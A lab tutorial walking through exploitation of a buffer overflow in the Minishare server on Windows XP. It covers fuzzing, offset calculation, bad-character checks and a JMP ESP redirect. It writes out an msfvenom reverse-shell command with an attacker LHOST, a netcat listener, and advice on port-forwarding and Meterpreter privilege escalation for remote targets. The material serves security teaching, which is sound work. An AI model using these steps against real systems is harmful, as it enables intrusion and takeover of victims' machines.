Exploiting: Buffer Overflow (BoF)
1. Introduction and Objectives
In this article, we will delve into the exploitation of a Buffer Overflow (BoF) vulnerability. We will utilize various tools to extract the required information through reverse engineering, enabling us to create the final exploit and gain access to the target machine.
To accomplish this, a fundamental understanding of reverse engineering and programming in Python is essential.
2. Setting up the Lab
To initiate this practice of exploiting a Buffer Overflow vulnerability, we will need to set up a laboratory with the following virtual machines and tools:
- Victim machine: Windows XP 32 bits / Vulnerable application: Minishare / Debugger: Immunity debugger.
Once the machines are set up, we verify that the application vulnerable to BoF functions flawlessly under Windows XP.
Subsequently, from our attacker machine, we confirm that we can indeed reach port 80 via HTTP on the victim machine where the application is running.
3. Study and Exploitation of the Buffer Overflow
Once our laboratory is set up with the aforementioned virtual machines, we proceed to run the “Minishare” application on Windows XP.
After executing it, we switch to our attacker machine and begin testing the GET parameter to determine if it’s vulnerable to a “BoF” attack. To do this systematically and in an organized manner, we will proceed step by step.
3.1. Validation of the GET Parameter
At this point, we will validate the GET parameter to check the buffer size using the following Python script:
Upon running the script against the vulnerable application, we can observe that it becomes unresponsive (crashes) after sending an HTTP GET request with a buffer of 1800 characters:
If we check the error report where it says “click here,” we can see the following:
The offset is overwritten with “41414141,” which corresponds to “AAAA” in hexadecimal, just as we indicated in our script. This clearly indicates that the EIP is overwritten with “A,” leading to the application crash. The region of memory containing “A” is not suitable for continuing the execution flow, preventing the execution of the subsequent instruction in the code.
In the application’s source code, in such cases, when a function finishes, a “ret” instruction is typically used, which essentially returns control flow to the program. For this purpose, “ret” reads the memory address in the EIP, which was the last memory address stored before entering the vulnerable function. Therefore, by overwriting the EIP with “A” and executing the “ret” instruction, the program won’t redirect the flow correctly, resulting in a crash.
3.2. Identifying the Exact Vulnerability Point
At this stage, we need to determine the exact point at which EIP is overwritten, or in other words, the exact number of characters at which the buffer overflows and starts overwriting the EIP.
a) Using Metasploit’s “Pattern Create”
To accomplish this step, we will use a Metasploit tool called “pattern_create.rb.” This module will generate a unique pattern of 1800 characters. By running our script with this new buffer, we will precisely identify the point at which the EIP is overwritten, using automated operations as demonstrated below.
Command executed in the Kali terminal:
- “/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800”
b) Modifying Our Fuzzer
We proceed to insert our new buffer by adding the result of the previous command.
c) Reversing with Immunity Debugger
At this point, we proceed once again with the execution of the script to further refine the details of the vulnerability and gradually build our exploit step by step. To do this, we first run the vulnerable application again and then attach it using “Immunity Debugger” by selecting the “file” option from the running processes, as shown below.
We proceed to run the program in “Immunity Debugger” by pressing the F9 key, and on the attacking machine, we execute our exploit under development again, with the changes we made earlier. We can observe that now the EIP is overwritten with the hexadecimal value 36 68 43 35, which corresponds to “6hC5” in ASCII.
As we can see, after the launch of our still misaligned “exploit,” an access violation is triggered in the “minishare” application. This is due to a buffer overflow (BoF).
We can observe that at this point, the EIP responsible for pointing to the next instruction to be executed according to the program’s flow has been overwritten by our injection with the hexadecimal characters “36684335.”
In the stack, we can see how the ASCII characters “6hC5,” which correspond to hexadecimal “36684335,” are reversed and stored in the stack as “5Ch6,” following the Last In First Out (LIFO) rule that the stack adheres to. This will need to be taken into account for the proper construction of our exploit, as we’ll need to input the reversed memory area where we want to redirect the program’s execution flow to point to our malicious code.
d) Calculate the exact offset
Now we proceed to calculate the offset from where EIP and ESP are overwritten, in order to determine the exact characters we need to input to perform the overflow. We can achieve this by using the following command:
- “/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 36684335”
This way, we ascertain the precise number of injected characters required to trigger the Buffer Overflow in the application.
3.3. Developing our exploit
a) Adjusting our exploit
We proceed to further improve our “exploit” with the result obtained earlier from “pattern_offset,” also adding some characteristic values for quick visual identification, such as the ASCII letters “B” and “C,” which are hexadecimal equivalents of “42” and “43,” respectively.
After running the script again, we can see how EIP is overwritten with “42424242,” which is the hexadecimal representation of “BBBB,” and ESP with “CCCC…”. This means that we have successfully entered exactly 1787 “A’s,” as the 4 “B’s” are positioned next, followed by all the “C’s.”
Note that in this code, the A’s only represent buffer padding, the B’s represent the memory address where the program’s flow needs to jump to execute the malicious code, and the C’s represent the malicious code (Shellcode) that will execute upon successful BoF exploitation.
b) Checking for “Bad Characters”
One of the most crucial aspects to consider when conducting a successful buffer overflow is identifying the incorrect characters that need to be avoided when crafting the final “Shellcode.” It’s worth noting that the null byte (\x00) is often considered a bad character in most cases.
To generate a list of “bad characters,” we can create a small Python script as shown below. After its execution, we will obtain the list.
Now we’re going to include a series of hexadecimal characters from “\x01” to “\xFF” in a new buffer in our “exploit.” This is done so that we can individually test them with the debugger, in order to determine which character or characters are incorrect and should be avoided in our “Shellcode.” Of course, we need to add the new buffer with the characters to be tested in our “exploit.”
We proceed to execute the “exploit” again with the scenario reset in “Immunity Debugger.”
Once we’ve launched the “exploit,” we can observe in the ESP dump (right-click on ESP, select Follow in Dump) that the sequence of the input data breaks with the character ‘\x00’.
Therefore, the first “bad char”: \x00
We proceed to remove the opcode “\x00” from the exploit buffer and run the “exploit” again to confirm if there are any other possible incorrect characters:
Continuing with the verification, we notice the following:
As we can see, the sequence breaks again at 0a 0b 0c, therefore we identify a new “bad char.”
Second bad char: \x0d
We proceed to remove it from the exploit buffer. We check again and see that the sequence now completes fully. There are no more “bad chars.”
Therefore, we conclude that when crafting our Shellcode, we should exclude the characters \x00 and \x0d from the generation process.
c) Searching for the JMP ESP instruction.
We don’t know the exact memory address location that we control through the buffer we send, but we do know from checking the register values at the time of the crash that the ESP register points to a location within this buffer.
As a result, if we can redirect the code execution to the memory location pointed to by ESP and place our own instructions in opcodes to create a Shellcode at the buffer location indicated by ESP, we can redirect the program’s flow to the memory address where our Shellcode is located, successfully exploiting the application to execute our own code.
Therefore, the next step is to search the code or resources used by the vulnerable program for the “JMP ESP” instruction. The explanation for this is quite straightforward. Essentially, when a crash occurs, we want the content of ESP to be executed by EIP. This means that we need to find a way to make EIP jump to ESP. Naturally, the easiest way to achieve this is to execute the JMP ESP instruction.
To do this, we’ll debug the vulnerable application to search its resources for executable modules containing the “JMP ESP” instructions. Then, we’ll obtain the memory address of that instruction so we can overwrite EIP with it. This will cause EIP to jump to ESP, where our Shellcode is located and ready to be executed.
We’re searching for modules in the resources used by the vulnerable program. Click on “View – Executable Modules”. Here, we’ll see a list of executable modules.
Within our list of executable modules, we have a wide range of options to locate our “JMP ESP” address. However, there are some considerations to keep in mind. First and foremost, we want to avoid any addresses that contain a null byte
\x00. This character is considered a string terminator in the C/C++ programming languages and generally has the effect of “breaking an exploit” when included within a buffer.
For a similar reason, we also want to avoid newline and carriage return characters
\x0a, so using any address from “minishare.exe” is excluded since all addresses within this executable have a null byte (the base address is 0x00400000).
Furthermore, whenever possible, it’s preferable to use a DLL that is a resource used by the application. These addresses are more portable across different operating systems, allowing the exploit to work on a broader range of Windows systems. Since there are no additional DLL files as part of the vulnerable application, we’ll have to settle for using one of the Windows DLL files that are loaded into memory.
It’s advisable to choose DLL files that are of greater significance within the operating system. This makes our exploit more universal, as these DLL files are less likely to change due to patches or updates. Some examples of such DLLs are “user32.dll,” “ntdll.dll,” “kernel32.dll,” “msvcrt.dll,” “shell32.dll,” among others.
Right-click on the entry for “shell32.dll” in the Executable Modules window and select “View Code in CPU.” The “shell32.dll” module contains a “JMP ESP” instruction. To locate it, right-click, choose “search for,” then select “command,” and input “JMP ESP,” as shown in the following image.
We’ve found that the “JMP ESP” instruction is located at the address “7c9d30d7,” which will be written in our exploit as follows:
The simple reason for writing it in this manner is that the data input by the buffer launched from the exploit enters the stack of the vulnerable program.
The stack follows a Last In First Out (LIFO) structure. Therefore, to ensure that the data introduced into the stack comes out in the correct order, we need to input them from back to front. If we were to input the address “7c9d30d7” literally, upon coming out of the stack, we would get “d7309d7c” in the EIP. This wouldn’t be the valid address for the JMP ESP instruction. Thus, to obtain the correct address, we should input the address in reverse order as follows: D7309D7C.
d) Creating our ShellCode with Msfvenom
Next, we proceed to create our “Shellcode” with the help of “msfvenom.” As we can see in the command launched, we are generating a Python “Shellcode” that, when executed, will return a command shell from the victim machine to our attacking machine. Additionally, we ensure that the generated “Shellcode” does not contain the previously identified “bad chars” that could cause issues.
In this practice, the port used for receiving the reverse shell from the victim machine is 443. In a reverse shell scenario, as in this case, there usually isn’t a significant problem with configuring a basic setup, as we’ll see later. This is because reverse shell connections are outgoing connections from the victim machine to the attacker’s machine on commonly trusted ports like 80 or 443, which are generally allowed by firewalls.
However, establishing a “bind shell” on the victim machine, where a specific port is left open to listen for incoming connections, can be more challenging, especially if not working within the same Local Area Network (LAN). To ensure a reliable setup for a “bind shell,” you’d need to use ports that are commonly open on firewalls, such as 80 (HTTP), 443 (HTTPS), 21 (FTP), 25 (SMTP), and others. You should also avoid port conflicts with existing services on the victim machine. If working within the same LAN, these considerations might be less of an issue. However, if working remotely, you’d need to configure port forwarding on the router or place the victim machine’s IP address in the DMZ (Demilitarized Zone). It’s evident that a “reverse shell” offers significant advantages over the complexity of setting up a “bind shell” scenario.
Without further ado, let’s proceed with creating our “Shellcode.” To do this, we’ll execute the following command on our Kali Linux machine.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.222.133 LPORT=443 -b “\x00\x0d” -f python
3.4. Configuring our Final Exploit
a) Adjusting the Obtained Data
Next, we proceed to configure our final exploit with the data obtained in the previous steps.
A good practice that we should do is to add some NOP instructions in our “Shellcode.” This will prevent possible problems that may be caused when executing certain types of encoded Shell code. NOPs are essentially “No Operation” instructions, which do not alter the functioning of the “Shellcode” at all. Adding a certain amount of “NOPs” (‘/x90’ in hexadecimal) in the correct place in a vulnerability (prior to the “Shellcode” code) can help improve the stability of the exploitation.
b) Setting up the scenario and launching our exploit.
Now we have reached the final part. With our “exploit” ready to be launched and exploit the “BoF” vulnerability, we only have to set up the scenario on our attacking machine to be able to receive the command shell from the victim machine when our “Shellcode” is executed on it. To do this, we proceed to configure Metasploit’s “multi handler” with the same parameters with which we generated the Shellcode “using msfvenom.”
It is evident that to receive only a command shell from the victim machine, we could put port 443 to listen on our attacking machine using “Netcat” with the command “nc -nlvp 443”. However, in order to be able to perform a more exquisite exploitation, we proceed to the use of Metasploit so that once we have the command shell from the victim machine, we can escalate to “Meterpreter” with which to continue to a more exquisite post-exploitation phase.
Once we have correctly set up the scenario to receive the reverse shell, we proceed to execute our final exploit to obtain a command shell from the victim machine.
In setting up the scenario to receive the reverse shell from the victim machine, we must take into account that in this test we are working within the same LAN (Local Area Network), which is why we have only had to leave the port listening and ensure that our firewall will let in the connection that is established from the victim to the attacker machine. However, in a real scenario, where the victim and attacker do not share the same LAN, but each has a different internet connection and are separated by hundreds or thousands of kilometers, the preparation of the scenario will be more complicated.
To do this, we must take the following steps on our attacking machine to be able to receive the reverse shell from the victim:
- Leave port 443 listening and make sure that there is no service that will use it during the operation, as doing so would interrupt the service. Similarly, if we cannot leave it listening, it is because it is already being used by another service, so we must stop the involved service before launching our listening command. We will check all of this with the “netstat” command and its corresponding flags.
- Ensure that our firewall allows incoming connections to that port.
- Go to the Router settings and configure “port-forwarding” so that any connection that enters the Router through port 443 is redirected to the private IP address of our attacking machine at port 443, which we will have listening. A quick option to do this is to enter the IP address of our attacking machine in the DMZ (Demilitarized Zone), although it should be clarified that this is neither the best option nor the most advisable one.
Obviously, when creating our “Shellcode” with “msfvenom,” we must set our public IP address as the LHOST, so that when it is executed, it makes the reverse connection to our Router, and the Router then redirects it to our attacking machine.
3.5 Upgrade Shell to Meterpreter
After the exploitation, we have received the command shell from the victim machine on our Kali Linux, in a scenario prepared with Metasploit. We have talked before about the advantages of receiving the shell in this scenario, and next, we are going to verify them. It practically consists of being able to perform an “upgrade to meterpreter” so that we can carry out a more exquisite post-exploitation of the victim system.
Now we can comfortably perform privilege escalation, among many other things.
As we see in the previous image, we have escalated to “SYSTEM” with complete ease, thanks to “meterpreter.” Although we are talking about a Windows XP system that is obsolete, the ease that “meterpreter” provides us with in post-exploitation tasks is evident.
We could not have done this if we had received the command shell in a “Netcat.” You may be wondering why we did not enter a “Meterpreter” type Shellcode directly into our exploit, generated with “msfvenom.” The truth is that it depends on the vulnerable software to exploit and the amount of space available to place our Shellcode.
In more complex exploitations where our Shellcode does not fit due to lack of space, we must perform more advanced techniques like “EggHunter.” This technique (also known as “Egg Hunting”) is used when we do not have much space available, and therefore we have to place our Shellcode somewhere else and have to look for it in order to execute it.
In this article, we have superficially seen how to perform all the necessary steps for the correct exploitation of a Buffer Overflow (BoF) vulnerability.
In this way, we have been able to see how the analysis of the application’s input parameters is carried out using fuzzing techniques.
We then saw how to use Immunity Debugger and Metasploit to detect the exact point where the BoF vulnerability was located, and with that data, build the final exploit with which to obtain a command shell from the victim machine after launching it.
Finally, after the exploitation of the BoF and obtaining the command shell from the victim machine, we have seen how to enhance the intrusion through a Meterpreter shell, achieved thanks to the Metasploit framework.
If you are interested in acquiring introductory knowledge in ethical hacking, you may choose to enroll in our basic ethical hacking course, or if you prefer to acquire more advanced knowledge in offensive cybersecurity, you can purchase our advanced course.
If you liked it, or found this article useful, you can treat us to a warm crypto-coffee 😉